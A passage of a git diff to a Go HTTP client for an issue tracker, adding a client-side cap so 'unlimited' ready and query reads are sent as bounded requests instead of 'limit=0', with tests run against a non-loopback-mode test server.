gc.kind=workflow, --unassigned, --exclude-type=epic, --exclude-label, "hold:mayor", --exclude-label, "hold:external", --json, --sort, oldest, --limit, "0"] @@ -286,7 +284,7 @@ shapes: - id: mc-list-id source: mc skills/pr-review (list --all --id --json --limit) args: [list, --all, --id, "e2e-r1,e2e-a1", --json, --limit, "0"] - pending: {slice: "S6c+S15+S15b", reason: "list stub (B3 #1); --limit 0 (B3 #3); --id refused by the list encoder (B3 #11)"} + pending: {slice: "S6c+S15b", reason: "list stub (B3 #1); --id refused by the list encoder (B3 #11)"} - id: mc-list-assignee-status source: mc review summaries (list --assignee --json --limit --status) args: [list, --assignee, alice, --json, --limit, "10", --status, open] @@ -316,7 +314,6 @@ shapes: source: gc workquery.go bdQueryEphemeralStatusShell (--limit=0, wisp tier) args: [query, --json, "ephemeral=true AND status=open", --limit=0] compare: ids - pending: {slice: "S15", reason: "query --limit=0 sends limit=0 and a non-loopback server refuses unlimited reads (B3 #3)"} - id: mc-query source: mc pr_merge.py (bd query) args: [query, --json, "status=open AND priority<=1", --limit, "50"] diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index 4b0f74f0e..ea7f30ec2 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -51,6 +51,7 @@ go_library( "sweeper.go", "target.go", "target_seam.go", + "unlimited_read.go", "unsupported.go", "unsupported_gen.go", "vocabulary.go", @@ -156,10 +157,12 @@ go_test( "served_relations_test.go", "served_releaser_test.go", "served_test.go", + "served_unlimited_read_test.go", "served_wrong_server_test.go", "store_dependent_test.go", "store_test.go", "target_test.go", + "unlimited_read_test.go", "watch_test.go", "wave2b_roles_test.go", "wave2c_claimnext_test.go", diff --git a/internal/httpclient/bridge.go b/internal/httpclient/bridge.go index f6a1baccd..32f804d9d 100644 --- a/internal/httpclient/bridge.go +++ b/internal/httpclient/bridge.go @@ -117,6 +117,17 @@ func (s *Store) readyBridgePage(ctx context.Context, op string, filter types.Wor if err != nil { return nil, false, s.inexpressible(op, err) } + // A legacy filter spells unlimited as Limit <= 0, and the encoder therefore + // emits no `limit` for it — which the server reads as ITS default of 100, + // not as unlimited. That was a silent cap on every `bd ready --limit 0` + // (and every gc routed-pool queue read through it). The pager decides the + // bound instead: the client cap plus one, refused past the cap rather than + // truncated, and never the wire's own `limit=0` (unlimited_read.go). + readCap, err := boundUnlimitedPage(params, filter.Limit <= 0) + if err != nil { + return nil, false, err + } + readCap = tightenUnlimitedPage(params, readCap, filter.MaxRows) var body apigen.ReadyPage if err := s.dispatch(ctx, wire.Request{ Op: wire.OpListReadyWork, @@ -141,6 +152,9 @@ func (s *Store) readyBridgePage(ctx context.Context, op string, filter types.Wor Source: filter.MaxRowsSource, } } + if err := checkUnlimitedPage(wire.OpListReadyWork, readCap, len(rows), body.HasMore); err != nil { + return nil, false, err + } return rows, body.HasMore, nil } diff --git a/internal/httpclient/dispatch.go b/internal/httpclient/dispatch.go index 8322da940..a168668d8 100644 --- a/internal/httpclient/dispatch.go +++ b/internal/httpclient/dispatch.go @@ -48,6 +48,11 @@ func (s *Store) dispatch(ctx context.Context, req wire.Request, out any) error { if s.wire == nil { return fmt.Errorf("%w: cannot dial %s", ErrNoTransport, s.target) } + // Before the preflight, so the tripwire costs no handshake: `limit=0` is + // refused off loopback, and this client never sends it (unlimited_read.go). + if err := refuseUnlimitedOnWire(req); err != nil { + return err + } if err := s.wire.Preflight(ctx, req.Op); err != nil { return err } diff --git a/internal/httpclient/encode/encode.go b/internal/httpclient/encode/encode.go index 43d61f55d..41be7e31e 100644 --- a/internal/httpclient/encode/encode.go +++ b/internal/httpclient/encode/encode.go @@ -720,6 +720,9 @@ func (b *builder) intPtr(param string, value *int) { // intPositive emits a plain int only when it bounds something. The legacy // filters spell "no bound" as 0, so a zero here is an absent parameter rather // than the wire's `limit=0`, which means unlimited and is refused off loopback. +// An absent `limit` is the SERVER's default, not unlimited, so a caller that +// means unlimited must not stop here: the ready bridge's pager writes the +// client-capped bound itself (httpclient/unlimited_read.go). func (b *builder) intPositive(param string, value int) { if value > 0 { b.v.Set(param, strconv.Itoa(value)) diff --git a/internal/httpclient/role_querier.go b/internal/httpclient/role_querier.go index 0129a99f1..3d61af937 100644 --- a/internal/httpclient/role_querier.go +++ b/internal/httpclient/role_querier.go @@ -35,6 +35,12 @@ func (q httpQuerier) Query(ctx context.Context, req issueops.QueryRequest) (issu if err != nil { return issueops.IssuePage{}, q.store.inexpressible("Querier.Query", err) } + // An explicit Limit of 0 is bounded at the client cap rather than sent as + // `limit=0`, which a non-loopback server refuses (unlimited_read.go). + readCap, err := boundUnlimitedPage(params, req.Limit != nil && *req.Limit == 0) + if err != nil { + return issueops.IssuePage{}, err + } var body apigen.QueryPage if err := q.store.dispatch(ctx, wire.Request{ Op: wire.OpQueryIssues, @@ -44,6 +50,9 @@ func (q httpQuerier) Query(ctx context.Context, req issueops.QueryRequest) (issu }, &body); err != nil { return issueops.IssuePage{}, err } + if err := checkUnlimitedPage(wire.OpQueryIssues, readCap, len(body.Items), body.HasMore); err != nil { + return issueops.IssuePage{}, err + } // NEVER projected: issueops.QueryRequest has no Brief member, so this role // cannot ask for one and its rows are always whole. The `false` is the // compiler asking the question rather than a value to tune — if the query diff --git a/internal/httpclient/role_reader.go b/internal/httpclient/role_reader.go index 8d3333ab5..d1758a083 100644 --- a/internal/httpclient/role_reader.go +++ b/internal/httpclient/role_reader.go @@ -32,11 +32,19 @@ type httpReader struct{ store *Store } // server's own has_more ARE the page contract. An Offset is refused by the // encoder rather than dropped — ready work carries no keyset position, so there // is no honest way to page it (E-ReadyRequest.Offset). +// +// An explicit Limit of 0 (unlimited) is NOT sent as `limit=0`: it becomes one +// request bounded at the client cap plus one, refused past the cap rather than +// truncated (unlimited_read.go). func (r httpReader) Ready(ctx context.Context, req issueops.ReadyRequest) (issueops.IssuePage, error) { params, err := encode.ReadyParams(req) if err != nil { return issueops.IssuePage{}, r.store.inexpressible("Reader.Ready", err) } + readCap, err := boundUnlimitedPage(params, req.Limit != nil && *req.Limit == 0) + if err != nil { + return issueops.IssuePage{}, err + } var body apigen.ReadyPage if err := r.store.dispatch(ctx, wire.Request{ Op: wire.OpListReadyWork, @@ -46,6 +54,9 @@ func (r httpReader) Ready(ctx context.Context, req issueops.ReadyRequest) (issue }, &body); err != nil { return issueops.IssuePage{}, err } + if err := checkUnlimitedPage(wire.OpListReadyWork, readCap, len(body.Items), body.HasMore); err != nil { + return issueops.IssuePage{}, err + } return issueops.IssuePage{Items: wireRows(body.Items, req.Brief), HasMore: body.HasMore}, nil } diff --git a/internal/httpclient/served_external_dependency_policy_test.go b/internal/httpclient/served_external_dependency_policy_test.go index e530a3085..3b11a08bd 100644 --- a/internal/httpclient/served_external_dependency_policy_test.go +++ b/internal/httpclient/served_external_dependency_policy_test.go @@ -124,12 +124,15 @@ func TestServedReadyExcludesUnsatisfiedExternalDependencyWithoutServerCapability // TestServedReadyCountExcludesAnExternallyBlockedIssuePastTheDefaultPage pins, // against a real served server, the shape the decorator once misread: an -// unlimited ready listing over http comes back as the server's default page -// (the wire omits a zero limit) while its total counts the whole ready set. -// Text-mode `bd ready` counts through CountReadyWork, which always fetches -// unlimited, so an externally blocked issue sorted past that page stayed in -// its count when the decorator took the zero limit for a window holding every -// row. +// unlimited ready listing over http used to come back as the server's default +// page (the wire omitted a zero limit) while its total counted the whole ready +// set. Text-mode `bd ready` counted through CountReadyWork's unlimited fetch, +// so an externally blocked issue sorted past that page stayed in its count when +// the decorator took the zero limit for a window holding every row. An +// unlimited ready read now returns every row (one request bounded at the client +// cap, unlimited_read.go), and CountReadyWork asks for one row and lets the +// server count the rest; the count and the default page must still leave that +// issue out. func TestServedReadyCountExcludesAnExternallyBlockedIssuePastTheDefaultPage(t *testing.T) { env := newServedEnv(t, "hixp") ctx := t.Context() @@ -165,19 +168,20 @@ func TestServedReadyCountExcludesAnExternallyBlockedIssuePastTheDefaultPage(t *t if err != nil { t.Fatalf("BuildReadyCountFilter: %v", err) } - // The premise this test pins: undecorated, the unlimited listing is the - // default page, the blocked issue is not on it, and the total counts it. + // The premise this test pins: undecorated, the unlimited listing holds + // every ready row (no longer only the server's default page), and the + // blocked issue sorts past where the default page ends. rows, total, err := env.subject.GetReadyWorkWithCountsAndTotal(ctx, countFilter) if err != nil { t.Fatalf("undecorated GetReadyWorkWithCountsAndTotal over http: %v", err) } - if len(rows) != workapi.DefaultReadyLimit || total != workapi.DefaultReadyLimit+2 { - t.Fatalf("undecorated unlimited listing over http = %d rows, total %d; want the %d-row default page, total %d; this test's premise no longer holds", - len(rows), total, workapi.DefaultReadyLimit, workapi.DefaultReadyLimit+2) + if len(rows) != workapi.DefaultReadyLimit+2 || total != workapi.DefaultReadyLimit+2 { + t.Fatalf("undecorated unlimited listing over http = %d rows, total %d; want every ready row, %d and total %d; this test's premise no longer holds", + len(rows), total, workapi.DefaultReadyLimit+2, workapi.DefaultReadyLimit+2) } - for _, row := range rows { - if row != nil && row.Issue != nil && row.ID == blockedID { - t.Fatalf("%q is on the default page; this test needs it past the page", blockedID) + for i, row := range rows { + if row != nil && row.Issue != nil && row.ID == blockedID && i < workapi.DefaultReadyLimit { + t.Fatalf("%q is row %d, inside the default page; this test needs it past the page", blockedID, i) } } @@ -443,7 +447,8 @@ func TestServedReadyTotalIgnoresAnExternallyBlockedIssueOutsideTheFilter(t *test // fetches a window wider than the limit to make room for the rows it drops, // and the http bridge caps the rows it fetched, so the cap counted rows the // caller was never handed. A SQL store caps the page it delivers, and so must -// this path. +// this path. An unlimited read keeps the cap on its request, grown by the rows +// the decorator may drop, and refuses in the caller's name past it. func TestServedReadyMaxRowsCountsTheRowsKept(t *testing.T) { env := newServedEnv(t, "hixm") ctx := t.Context() @@ -478,8 +483,12 @@ func TestServedReadyMaxRowsCountsTheRowsKept(t *testing.T) { {name: "cap equals the limit", limit: 2, maxRows: 2, want: free[:2]}, // The window holds all four rows, three of them kept. {name: "cap below the limit", limit: 5, maxRows: 3, want: free}, - // The server's default page, again all four. + // The request is sized by the cap grown by the blocked row: all four + // rows, three of them kept. {name: "unlimited", limit: 0, maxRows: 3, want: free}, + // The four rows outnumber the cap grown by the blocked row, so at + // least three would be kept, and the caller's cap of two fires. + {name: "unlimited, kept rows exceed the cap", limit: 0, maxRows: 2}, // The three rows kept exceed the caller's cap, which still fires. {name: "kept rows exceed the cap", limit: 5, maxRows: 2}, } { diff --git a/internal/httpclient/served_unlimited_read_test.go b/internal/httpclient/served_unlimited_read_test.go new file mode 100644 index 000000000..0e636251c --- /dev/null +++ b/internal/httpclient/served_unlimited_read_test.go @@ -0,0 +1,511 @@ +//go:build cgo + +package httpclient + +import ( + "context" + "errors" + "fmt" + "net/url" + "slices" + "strings" + "sync" + "testing" + + "github.com/steveyegge/beads/internal/httpapi" + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage/externaldeps" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" +) + +// Unlimited reads against a server in NON-LOOPBACK mode (S15). +// +// The in-process server binds 127.0.0.1 — tests never listen beyond loopback — +// but is started with AllowNonLoopback, which is exactly the switch the +// server's unlimited-read refusal reads (httpapi allowUnlimited). So every +// `limit=0` this client sent would meet the production 400, and every answer +// below that comes back whole is proof that none was sent. +// +// The fixture is unlimitedRows rows: more than the server's ready default +// (workapi.DefaultReadyLimit, 100), so a read that silently fell back to that +// default — `bd ready --limit 0` before S15 — comes back short and fails the +// count, and more than one walkPageSize, so the list walk crosses pages. + +const unlimitedRows = 150 + +// nonLoopbackMode serves the whole surface as a --allow-non-loopback server +// would. InsecureNoAuth is the posture rule's required waiver for a +// non-loopback server with no token file; the listener itself stays on +// 127.0.0.1. +func nonLoopbackMode(cfg *httpapi.Config) { + cfg.AllowNonLoopback = true + cfg.InsecureNoAuth = true +} + +// limitSpy records the `limit` of every issue-listing request that reaches the +// wire, after dispatch's own tripwire. +type limitSpy struct { + mu sync.Mutex + sent []string // "op limit=" +} + +func (s *limitSpy) record(req *wire.Request) { + if !unlimitedSpellingOps[req.Op] { + return + } + s.mu.Lock() + defer s.mu.Unlock() + s.sent = append(s.sent, fmt.Sprintf("%s limit=%s", req.Op, req.Query.Get("limit"))) +} + +func (s *limitSpy) reset() { + s.mu.Lock() + defer s.mu.Unlock() + s.sent = nil +} + +func (s *limitSpy) requests() []string { + s.mu.Lock() + defer s.mu.Unlock() + return append([]string(nil), s.sent...) +} + +// requestsFor is requests narrowed to one operation's. +func (s *limitSpy) requestsFor(op string) []string { + var got []string + for _, r := range s.requests() { + if strings.HasPrefix(r, op+" ") { + got = append(got, r) + } + } + return got +} + +// assertBoundedOnWire fails if any recorded request carried limit=0 or +// no limit at all (the server's default, which is the silent-truncation leg). +func (s *limitSpy) assertBoundedOnWire(t *testing.T) { + t.Helper() + got := s.requests() + if len(got) == 0 { + t.Fatal("no listing request was recorded; the spy is not on the path") + } + for _, r := range got { + if strings.HasSuffix(r, " limit=0") || strings.HasSuffix(r, " limit=") { + t.Errorf("request %q went out unbounded (all requests: %v)", r, got) + } + } +} + +type unlimitedEnv struct { + *servedEnv + spy *limitSpy + store *Store + scope string +} + +func newUnlimitedEnv(t *testing.T) *unlimitedEnv { + t.Helper() + e := newServedEnv(t, "unl", nonLoopbackMode) + ctx := t.Context() + scope := "unlimited-scope" + issues := make([]*types.Issue, 0, unlimitedRows) + for i := range unlimitedRows { + id := fmt.Sprintf("unl-%03d", i) + issues = append(issues, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: i % 4, + IssueType: types.TypeTask, Labels: []string{scope}, + }) + } + if err := e.reference.CreateIssues(ctx, issues, "seed"); err != nil { + t.Fatalf("seed %d rows: %v", unlimitedRows, err) + } + spy := &limitSpy{} + store := New(e.subject.target, tamperedWire{WireClient: e.subject.wire, tamper: spy.record}, nil) + return &unlimitedEnv{servedEnv: e, spy: spy, store: store, scope: scope} +} + +func (u *unlimitedEnv) reader(t *testing.T) issueops.Reader { + t.Helper() + r, err := u.store.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + return r +} + +func (u *unlimitedEnv) querier(t *testing.T) issueops.Querier { + t.Helper() + q, err := u.store.Querier() + if err != nil { + t.Fatalf("Querier(): %v", err) + } + return q +} + +// listAll is an unlimited list: a cursor walk that only maxRows bounds (0 for +// none). It returns the row count. +func (u *unlimitedEnv) listAll(t *testing.T, maxRows int) (int, error) { + t.Helper() + page, err := u.reader(t).List(t.Context(), issueops.ListRequest{ + Labels: []string{u.scope}, Limit: ptrTo(0), MaxRows: maxRows, + }) + if err == nil && page.HasMore { + t.Error("an unlimited list reported HasMore") + } + return len(page.Items), err +} + +// readFn is one of the unlimited reads under test, returning its row count. +type readFn func(t *testing.T, ctx context.Context, u *unlimitedEnv) (int, error) + +// cursorlessReads are the unlimited reads that are ONE request — ready and +// query publish no cursor — and so the ones the client cap bounds. +func cursorlessReads() []struct { + name string + read readFn +} { + zero := func() *int { z := 0; return &z } + return []struct { + name string + read readFn + }{ + {"ready via the Reader role", func(t *testing.T, ctx context.Context, u *unlimitedEnv) (int, error) { + page, err := u.reader(t).Ready(ctx, issueops.ReadyRequest{Labels: []string{u.scope}, Limit: zero()}) + return len(page.Items), err + }}, + {"bd ready via the WorkFilter bridge", func(t *testing.T, ctx context.Context, u *unlimitedEnv) (int, error) { + filter, err := workapi.BuildReadyFilter(issueops.ReadyRequest{ + Labels: []string{u.scope}, Sort: string(types.SortPolicyPriority), Limit: zero(), + }) + if err != nil { + t.Fatalf("BuildReadyFilter: %v", err) + } + rows, err := u.store.GetReadyWork(ctx, filter) + return len(rows), err + }}, + {"bd ready --json via the WorkFilter bridge with a total", func(t *testing.T, ctx context.Context, u *unlimitedEnv) (int, error) { + filter, err := workapi.BuildReadyFilter(issueops.ReadyRequest{ + Labels: []string{u.scope}, Sort: string(types.SortPolicyPriority), Limit: zero(), + }) + if err != nil { + t.Fatalf("BuildReadyFilter: %v", err) + } + rows, total, err := u.store.GetReadyWorkWithCountsAndTotal(ctx, filter) + if err == nil && total != len(rows) { + t.Errorf("total = %d for %d rows; an unlimited page is the whole set", total, len(rows)) + } + return len(rows), err + }}, + {"query", func(t *testing.T, ctx context.Context, u *unlimitedEnv) (int, error) { + page, err := u.querier(t).Query(ctx, issueops.QueryRequest{Expression: "label=" + u.scope, Limit: zero()}) + return len(page.Items), err + }}, + } +} + +// TestServedUnlimitedReadsOffLoopback: ready, query and list at limit 0 return +// every row from a non-loopback-mode server, and never put `limit=0` (or a +// missing limit) on the wire. +// +// GOES RED when the bridge sends no limit for Limit 0 (the server's 100-row +// default: 100 != 150), when the role or the querier forwards `limit=0` (the +// server's 400, or the dispatch tripwire), or when the list walk stops short of +// the fixture. +func TestServedUnlimitedReadsOffLoopback(t *testing.T) { + u := newUnlimitedEnv(t) + ctx := t.Context() + + restore := walkPageSize + walkPageSize = 40 + t.Cleanup(func() { walkPageSize = restore }) + + // PREMISE 1: the server really is in non-loopback mode — a raw `limit=0` + // that bypasses the client's dispatch is refused. + var raw apigen.ReadyPage + err := u.subject.wire.Do(ctx, wire.Request{ + Op: wire.OpListReadyWork, Method: "GET", Path: wire.PathReady, + Query: url.Values{"limit": {"0"}}, + }, &raw) + if err == nil || !strings.Contains(err.Error(), "loopback-only") { + t.Fatalf("a raw limit=0 was not refused by the server (err %v); the fixture is not in non-loopback mode", err) + } + + // PREMISE 2: the fixture exceeds the server's ready default, so a read + // that fell back to it cannot pass the count below. + page, err := u.reader(t).Ready(ctx, issueops.ReadyRequest{Labels: []string{u.scope}}) + if err != nil { + t.Fatalf("default-limit ready: %v", err) + } + if len(page.Items) != workapi.DefaultReadyLimit || !page.HasMore { + t.Fatalf("default-limit ready returned %d rows (has_more %v), want the server default %d with more", + len(page.Items), page.HasMore, workapi.DefaultReadyLimit) + } + + for _, tc := range cursorlessReads() { + t.Run(tc.name, func(t *testing.T) { + u.spy.reset() + n, err := tc.read(t, ctx, u) + if err != nil { + t.Fatalf("unlimited read: %v", err) + } + if n != unlimitedRows { + t.Errorf("unlimited read returned %d rows, want all %d", n, unlimitedRows) + } + u.spy.assertBoundedOnWire(t) + }) + } + + // The list walk returns every row, and crosses pages rather than asking + // for everything at once. + t.Run("list", func(t *testing.T) { + u.spy.reset() + n, err := u.listAll(t, 0) + if err != nil { + t.Fatalf("unlimited list: %v", err) + } + if n != unlimitedRows { + t.Errorf("unlimited list returned %d rows, want all %d", n, unlimitedRows) + } + u.spy.assertBoundedOnWire(t) + if got := len(u.spy.requests()); got < unlimitedRows/walkPageSize { + t.Errorf("the unlimited list took %d requests at %d rows a page; it did not walk", got, walkPageSize) + } + }) +} + +// TestServedUnlimitedReadCapRefuses: past BEADS_HTTP_UNLIMITED_READ_CAP every +// unlimited ready or query read is refused with *UnlimitedReadCapError, never +// truncated; at the cap exactly, the whole answer comes back. An unlimited list +// is a cursor walk, and the cap does not apply to it: only MaxRows bounds it. +// +// GOES RED when a cursorless path truncates to the cap instead of refusing, or +// ignores it; when a full cap+1 page that reports has_more is taken for a +// server truncation; or when the list walk is capped. +func TestServedUnlimitedReadCapRefuses(t *testing.T) { + u := newUnlimitedEnv(t) + ctx := t.Context() + + for _, tc := range cursorlessReads() { + t.Run(tc.name, func(t *testing.T) { + // At unlimitedRows-1 the cap+1 page is the whole set; at + // unlimitedRows-2 it is a full page with has_more set, which is how + // a real workspace overflows the cap. Both are the cap's refusal. + for _, readCap := range []int{unlimitedRows - 1, unlimitedRows - 2} { + t.Setenv(UnlimitedReadCapEnv, fmt.Sprint(readCap)) + u.spy.reset() + n, err := tc.read(t, ctx, u) + var capErr *UnlimitedReadCapError + if !errors.As(err, &capErr) { + t.Fatalf("cap %d: got %d rows, err %v; want *UnlimitedReadCapError", readCap, n, err) + } + if !errors.Is(err, ErrUnlimitedReadCap) { + t.Errorf("cap %d: the refusal does not match ErrUnlimitedReadCap: %v", readCap, err) + } + if capErr.Cap != readCap || capErr.Found != readCap+1 || capErr.ServerTruncated { + t.Errorf("cap %d: refusal = %+v, want Cap %d Found %d and no server truncation", + readCap, capErr, readCap, readCap+1) + } + if !strings.Contains(err.Error(), UnlimitedReadCapEnv) { + t.Errorf("cap %d: the refusal does not name %s: %v", readCap, UnlimitedReadCapEnv, err) + } + u.spy.assertBoundedOnWire(t) + } + + t.Setenv(UnlimitedReadCapEnv, fmt.Sprint(unlimitedRows)) + n, err := tc.read(t, ctx, u) + if err != nil || n != unlimitedRows { + t.Fatalf("at the cap exactly: got %d rows, err %v; want all %d", n, err, unlimitedRows) + } + + t.Setenv(UnlimitedReadCapEnv, "lots") + if _, err := tc.read(t, ctx, u); err == nil || !strings.Contains(err.Error(), UnlimitedReadCapEnv) { + t.Errorf("a malformed cap was not refused: %v", err) + } + }) + } + + t.Run("list is not capped", func(t *testing.T) { + restore := walkPageSize + walkPageSize = 40 + t.Cleanup(func() { walkPageSize = restore }) + + for _, readCap := range []string{"10", "lots"} { + t.Setenv(UnlimitedReadCapEnv, readCap) + if n, err := u.listAll(t, 0); err != nil || n != unlimitedRows { + t.Errorf("cap %q: the unlimited list returned %d rows, err %v; want all %d", readCap, n, err, unlimitedRows) + } + } + + // MaxRows is the walk's only bound, and past it the refusal is the + // caller's own. + t.Setenv(UnlimitedReadCapEnv, "10") + _, err := u.listAll(t, 100) + var tooMany *storageops.ErrTooManyRows + if !errors.As(err, &tooMany) || tooMany.Cap != 100 || tooMany.Found != 101 || errors.Is(err, ErrUnlimitedReadCap) { + t.Errorf("the unlimited list past MaxRows 100: err %v; want *ErrTooManyRows Cap 100 Found 101", err) + } + if n, err := u.listAll(t, unlimitedRows); err != nil || n != unlimitedRows { + t.Errorf("MaxRows at the fixture: %d rows, err %v; want all %d", n, err, unlimitedRows) + } + }) +} + +// TestServedReadyBridgeMaxRowsSizesTheRequest: when an unlimited bridge read +// carries a MaxRows as well, the tighter of it and the cap sizes the request, +// so a small MaxRows never makes the server buffer up to the cap, and an answer +// past it is refused in the name of the bound that fired. `bd ready` reads +// through the external-dependency decorator, which drops an externally +// blocked row itself against this server; the same holds through it, with the +// request grown by the rows it may drop and the cap still in force. +// +// GOES RED when the bridge sends the cap's limit under a tighter MaxRows, or +// reports an answer past MaxRows as the read cap's refusal; or when the +// decorator takes MaxRows off an unlimited read, does not grow it by the +// blocked rows, reports the refusal against the grown bound, or lets the +// growth lift the request past the cap. +func TestServedReadyBridgeMaxRowsSizesTheRequest(t *testing.T) { + u := newUnlimitedEnv(t) + read := func(t *testing.T, ready func(context.Context, types.WorkFilter) ([]*types.Issue, error), maxRows int) (int, error) { + t.Helper() + filter, err := workapi.BuildReadyFilter(issueops.ReadyRequest{ + Labels: []string{u.scope}, Sort: string(types.SortPolicyPriority), Limit: ptrTo(0), + }) + if err != nil { + t.Fatalf("BuildReadyFilter: %v", err) + } + filter.MaxRows = maxRows + u.spy.reset() + rows, err := ready(t.Context(), filter) + return len(rows), err + } + sent := func(limit int) []string { return []string{fmt.Sprintf("%s limit=%d", wire.OpListReadyWork, limit)} } + + t.Setenv(UnlimitedReadCapEnv, "10") + _, err := read(t, u.store.GetReadyWork, 5) + var tooMany *storageops.ErrTooManyRows + if !errors.As(err, &tooMany) || tooMany.Cap != 5 || tooMany.Found != 6 || errors.Is(err, ErrUnlimitedReadCap) { + t.Errorf("MaxRows 5 under cap 10: err %v; want *ErrTooManyRows Cap 5 Found 6", err) + } + if got := u.spy.requests(); !slices.Equal(got, sent(6)) { + t.Errorf("MaxRows 5 under cap 10 sent %v, want %v", got, sent(6)) + } + + _, err = read(t, u.store.GetReadyWork, 50) + var capErr *UnlimitedReadCapError + if !errors.As(err, &capErr) || capErr.Cap != 10 || capErr.Found != 11 || capErr.ServerTruncated { + t.Errorf("MaxRows 50 over cap 10: err %v; want *UnlimitedReadCapError Cap 10 Found 11", err) + } + if got := u.spy.requests(); !slices.Equal(got, sent(11)) { + t.Errorf("MaxRows 50 over cap 10 sent %v, want %v", got, sent(11)) + } + + // Both bounds clear the fixture: every row, in the request MaxRows sized. + t.Setenv(UnlimitedReadCapEnv, "1000") + if n, err := read(t, u.store.GetReadyWork, unlimitedRows+10); err != nil || n != unlimitedRows { + t.Errorf("MaxRows %d under cap 1000: %d rows, err %v; want all %d", unlimitedRows+10, n, err, unlimitedRows) + } + if got := u.spy.requests(); !slices.Equal(got, sent(unlimitedRows+11)) { + t.Errorf("MaxRows %d under cap 1000 sent %v, want %v", unlimitedRows+10, got, sent(unlimitedRows+11)) + } + + // Through the decorator, with unl-000 externally blocked: the request asks + // for one row more per blocked issue, and past that bound more than MaxRows + // rows would still be kept, so the refusal is still the caller's own. The + // decorator's blocking state is loaded with a list walk, which is not the + // read's. + if enforced, err := u.store.ServerEnforcesExternalDependencyPolicy(t.Context()); err != nil || enforced { + t.Fatalf("ServerEnforcesExternalDependencyPolicy = %v, %v; this test needs a server that leaves the policy to the client", enforced, err) + } + if err := u.addDependency(t.Context(), &types.Dependency{ + IssueID: "unl-000", DependsOnID: "external:otherproj:cap", Type: types.DepBlocks, + }, "tester"); err != nil { + t.Fatalf("seed external dependency: %v", err) + } + decorated := externaldeps.New(u.store, nil, nil).GetReadyWork + + t.Setenv(UnlimitedReadCapEnv, "10") + _, err = read(t, decorated, 5) + if !errors.As(err, &tooMany) || tooMany.Cap != 5 || tooMany.Found != 6 || errors.Is(err, ErrUnlimitedReadCap) { + t.Errorf("decorated, MaxRows 5 under cap 10: err %v; want *ErrTooManyRows Cap 5 Found 6", err) + } + if got := u.spy.requestsFor(wire.OpListReadyWork); !slices.Equal(got, sent(7)) { + t.Errorf("decorated, MaxRows 5 under cap 10 sent %v, want %v", got, sent(7)) + } + + // MaxRows and the blocked row together reach past the cap, which sizes + // the request and refuses, as it does for the bridge alone. + _, err = read(t, decorated, 50) + if !errors.As(err, &capErr) || capErr.Cap != 10 || capErr.Found != 11 || capErr.ServerTruncated { + t.Errorf("decorated, MaxRows 50 over cap 10: err %v; want *UnlimitedReadCapError Cap 10 Found 11", err) + } + if got := u.spy.requestsFor(wire.OpListReadyWork); !slices.Equal(got, sent(11)) { + t.Errorf("decorated, MaxRows 50 over cap 10 sent %v, want %v", got, sent(11)) + } + + t.Setenv(UnlimitedReadCapEnv, "1000") + if n, err := read(t, decorated, unlimitedRows+10); err != nil || n != unlimitedRows-1 { + t.Errorf("decorated, MaxRows %d under cap 1000: %d rows, err %v; want all %d but unl-000", unlimitedRows+10, n, err, unlimitedRows-1) + } + if got := u.spy.requestsFor(wire.OpListReadyWork); !slices.Equal(got, sent(unlimitedRows+12)) { + t.Errorf("decorated, MaxRows %d under cap 1000 sent %v, want %v", unlimitedRows+10, got, sent(unlimitedRows+12)) + } +} + +// TestServedReadyCountFallbackStaysBounded: text-mode `bd ready` counts through +// the external-dependency decorator, and against a server that does not apply +// that policy itself (every released server, and this harness) the decorator +// counts over a store with no indexed counter. It asks for one row and lets +// the server count the rest, so a ready set larger than +// BEADS_HTTP_UNLIMITED_READ_CAP is counted rather than refused, and never +// downloaded to report one number. +// +// GOES RED when the count's fallback asks for the whole ready set again: past +// the cap that read is refused, and the spy sees more than the one row. +func TestServedReadyCountFallbackStaysBounded(t *testing.T) { + u := newUnlimitedEnv(t) + ctx := t.Context() + t.Setenv(UnlimitedReadCapEnv, "10") + + if enforced, err := u.store.ServerEnforcesExternalDependencyPolicy(ctx); err != nil || enforced { + t.Fatalf("ServerEnforcesExternalDependencyPolicy = %v, %v; this test needs a server that leaves the policy to the client", enforced, err) + } + counter, err := externaldeps.New(u.store, nil, nil).ReadyCounter() + if err != nil { + t.Fatalf("ReadyCounter: %v", err) + } + // count returns the total and the count's ready listings; the decorator's + // blocking state is loaded with a list walk, which is not the count's. + count := func(t *testing.T) (int64, []string) { + t.Helper() + u.spy.reset() + got, err := counter.CountReady(ctx, issueops.ReadyRequest{Labels: []string{u.scope}}) + if err != nil { + t.Fatalf("CountReady over %d ready rows at cap 10: %v", unlimitedRows, err) + } + return got.Total, u.spy.requestsFor(wire.OpListReadyWork) + } + + total, ready := count(t) + if total != unlimitedRows { + t.Errorf("count = %d, want %d", total, unlimitedRows) + } + if want := []string{wire.OpListReadyWork + " limit=1"}; !slices.Equal(ready, want) { + t.Errorf("the count listed %v, want %v: one row, the server counting the rest", ready, want) + } + + // An externally blocked issue makes the decorator size the filtered set + // itself, at an explicit limit the cap does not apply to. + if err := u.addDependency(ctx, &types.Dependency{ + IssueID: "unl-000", DependsOnID: "external:otherproj:cap", Type: types.DepBlocks, + }, "tester"); err != nil { + t.Fatalf("seed external dependency: %v", err) + } + if total, _ := count(t); total != unlimitedRows-1 { + t.Errorf("count with unl-000 externally blocked = %d, want %d", total, unlimitedRows-1) + } + u.spy.assertBoundedOnWire(t) +} diff --git a/internal/httpclient/unlimited_read.go b/internal/httpclient/unlimited_read.go new file mode 100644 index 000000000..b607fd0a1 --- /dev/null +++ b/internal/httpclient/unlimited_read.go @@ -0,0 +1,195 @@ +package httpclient + +import ( + "errors" + "fmt" + "net/url" + "os" + "strconv" + "strings" + + "github.com/steveyegge/beads/internal/httpclient/wire" +) + +// UNLIMITED READS OVER HTTP. +// +// Every issue listing on the v0 wire spells "unlimited" as `limit=0`, and a +// server started with --allow-non-loopback refuses that spelling outright +// (400, "unlimited reads are loopback-only; pass an explicit limit"). The +// document's recovery is client-side: ask for an explicit limit, and page. So +// this client NEVER puts `limit=0` on the wire, whatever the server's bind +// mode — one spelling for every server is what keeps a 